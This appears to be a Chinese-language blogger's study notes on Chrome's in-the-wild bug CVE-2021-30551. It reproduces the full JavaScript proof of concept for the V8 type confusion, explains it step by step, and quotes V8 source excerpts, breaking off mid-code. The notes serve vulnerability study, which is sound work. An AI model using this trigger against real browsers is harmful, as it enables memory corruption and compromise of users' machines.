總共看了2天的POC,為了不讓成果流失,記錄一下。
Chrome 在野0day:CVE-2021-30551的分析與利用 (qq.com) 主要參考
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html 次要參考
關於原型污染漏洞的完整指南 (qq.com) 原型鏈參考
V8 是怎么跑起來的 —— V8 中的對象表示_ThornWu-CSDN博客 V8 屬性對象
瀏覽器是如何工作的:Chrome V8讓你更懂JavaScript - 知乎 (zhihu.com) 理解 Chrome 中的 map
CVE-2020-16009: Chrome Turbofan Type Confusion after Map Deprecation | 0-days In-the-Wild (googleprojectzero.github.io) Type Confusion
首先需要了解一下 map 和object 的關系:
Object 中的 All own properties 存儲着屬性值,map 中存儲着屬性的狀態、描述等。
global_object = {}; setPropertyViaEmbed = (object, value, handler) => { const embed = document.createElement('embed'); embed.onload = handler; embed.type = 'text/html'; Object.setPrototypeOf(global_object, embed); document.body.appendChild(embed); object.corrupted_prop = value; embed.remove(); } createCorruptedPair = (value_1, value_2) => { const object_1 = { __proto__: global_object }; object_1.regular_prop = 1; setPropertyViaEmbed(object_1, value_2, () => { Object.setPrototypeOf(global_object, null); object_1.corrupted_prop = value_1; }); const object_2 = { __proto__: global_object }; object_2.regular_prop = 1; setPropertyViaEmbed(object_2, value_2, () => { Object.setPrototypeOf(global_object, null); object_2.corrupted_prop = value_1; //在重入的過程中創建剛才不存在的命名屬性 object_1.regular_prop = 1.1 //設置 map 為 deprecated }); return [object_1, object_2];
const array = [1.1]; array.prop = 1; const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918); jit = (object) => { return object.corrupted_prop[0]; } for (var i = 0; i < 100000; ++i) jit(object_1); jit(object_2);
首先,針對函數的形式需要理解,POC 中的函數聲明方式是箭頭函數。(注:JS 中一切都是對象)
FunctionName = (Arg1, Arg2) => { xxxxx } // 針對多個參數的函數聲明、定義方式
()=> { xxxxxxxxx } // 無參數的 ,匿名函數
接着拆解 POC 進行理解,首先是對變量進行初始化:
注意 POC 最開頭的 global_object ,此處的花括號表明創建了一個空的對象。
然后申請了一個數組,其中只有一個元素,值為 1.1 。接着將 array 的屬性設置為 1。
接着調用 createCorruptedPair 函數:
該函數的參數為 array 和 一個特制的浮點數。
const object_1 = { __proto__: global_object }; // 申明並定義了一個對象,該對象的原型是 global_object == NULL
接着訪問 object_1 的一個未知的屬性名(未定義過的),並將其設置為 1。
如果目標對象沒有這個未知的屬性名,那么會調用 SetPropertyInternal 遍歷這個對象的原型鏈,如果能找到一個攔截器(interceptor),就會執行這個攔截器的函數來決定這個是否是一個“只讀屬性”的異常。此處的 SetPropertyInternal 會返回這個屬性不存在,然后會調用 AddDataProperty 函數來創建屬性。但是若在創建屬性之前已存在同名的該屬性,且此時的 map 為 deprecated 狀態(map 是存儲 v8 中對象的描述命名屬性),那么只會更新屬性的狀態而不會去修改 map 的描述符(猜測是將狀態從消極轉為活躍)
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value, StoreOrigin store_origin, Maybe<ShouldThrow> should_throw) { if (it->IsFound()) { bool found = true; Maybe<bool> result = SetPropertyInternal(it, value, should_throw, store_origin, &found); if (found) return result; } [...] return AddDataProperty(it, value, NONE, should_throw, store_origin); } Maybe<bool> Object::SetPropertyInternal(LookupIterator* it, Handle<Object> value, Maybe<ShouldThrow> should_throw, StoreOrigin store_origin, bool* found) { [...] do { switch (it->state()) { [...] case LookupIterator::INTERCEPTOR: { if (it->HolderIsReceiverOrHiddenPrototype()) { Maybe<bool> result = JSObject::SetPropertyWithInterceptor(it, should_throw, value); //調用戶定義 JS 代碼 if (result.IsNothing() || result.FromJust()) return result; } else { Maybe<PropertyAttributes> maybe_attributes = JSObject::GetPropertyAttributesWithInterceptor(it); if (maybe_attributes.IsNothing()) return Nothing<bool>(); if ((maybe_attributes.FromJust() & READ_ONLY) != 0) { return WriteToReadOnlyProperty(it, value, should_throw); } if (maybe_attributes.FromJust() == ABSENT) break; *found = false; return Nothing<bool>(); } break; } [...] *